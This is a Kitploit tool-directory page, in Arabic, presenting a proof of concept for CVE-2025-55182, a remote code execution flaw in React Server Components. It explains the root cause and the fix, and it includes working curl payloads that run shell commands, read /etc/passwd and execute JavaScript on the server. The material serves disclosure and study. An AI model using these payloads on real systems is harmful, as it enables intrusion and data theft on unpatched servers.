Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-realistic-poc — POC واقعي يوضح فحص `hasOwnProperty` المفقود في react-server-dom-webpack@19.0.0 | Kitploit
أدوات/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

POC واقعي يوضح فحص `hasOwnProperty` المفقود في [email protected]

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

CVE-2025-55182: ثغرة RCE في مكونات خادم React

إثبات مفهوم بسيط يوضح الثغرة الحرجة لتنفيذ الأوامر عن بُعد في [email protected].

ما هي CVE-2025-55182؟

ثغرة RCE (تنفيذ أوامر عن بُعد) بدون مصادقة في مكونات خادم React تتيح للمهاجمين تنفيذ كود عشوائي على الخوادم التي تستخدم الحزمة الضعيفة react-server-dom-webpack (الإصدارات 19.0.0 - 19.2.0).

درجة CVSS: 10 (حرجة)

الحزم المتأثرة

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

الإصدارات المُصحَّحة

  • 19.0.1, 19.1.2, 19.2.1

الثغرة

السبب الجذري: فقدان التحقق من hasOwnProperty

توجد الثغرة في دالة requireModule داخل تطبيق بروتوكول Flight الخاص بـ React. تقوم هذه الدالة بتحميل مُخرجات الوحدات (module exports) بناءً على بيانات وصفية (metadata) واردة من طلبات العميل.

الكود الثغري ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- لا يوجد تحقق!
}

المشكلة: metadata[NAME] تأتي من إدخال المستخدم (طلب HTTP). يمكن للمهاجم تحديد أي وحدة وأي اسم تصدير، مثل child_process#execSync.

الإصلاح (PR #35277)

الكود المُصحَّح ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // تم الإصلاح: التحقق من وجود التصدير فعلياً
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

يُضيف الإصلاح hasOwnProperty.call() لضمان أن التصدير المطلوب هو خاصية مباشرة (own property) للوحدة، وليس موروثاً من سلسلة النماذج (prototype chain) أو يمكن حله ديناميكياً للوصول إلى وحدات خطيرة.

ناقل الهجوم

  1. يرسل المهاجم طلب HTTP POST مخصص إلى نقطة نهاية إجراء الخادم (server action endpoint)
  2. يحتوي الحمولة على الحقول $ACTION_REF_0 و $ACTION_0:0
  3. يحتوي $ACTION_0:0 على {"id":"child_process#execSync","bound":["whoami"]}
  4. تقوم decodeAction بتحليل هذا وتستدعي requireModule مع بيانات وصفية يتحكم بها المهاجم
  5. تُرجع requireModule قيمة require('child_process').execSync
  6. تُستدعى الدالة مع وسائط المهاجم → RCE

إثبات المفهوم

الإعداد

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# يبدأ على http://localhost:3000

تنفيذ RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

المخرجات المتوقعة:

root@kitploit:~
{"success":true,"result":"your-username\n"}

أمثلة استغلال أخرى

root@kitploit:~
# قراءة الملفات
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# تنفيذ JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

كيف يعمل

تدفق decodeAction

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

المراجع

  • إعلان الأمان من React: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • PR #35277 على GitHub (الإصلاح): https://github.com/facebook/react/pull/35277
  • سجل CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • تحليل Wiz: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • إعلان Next.js: https://nextjs.org/blog/CVE-2025-66478

الترخيص

MIT

تنزيل الأداة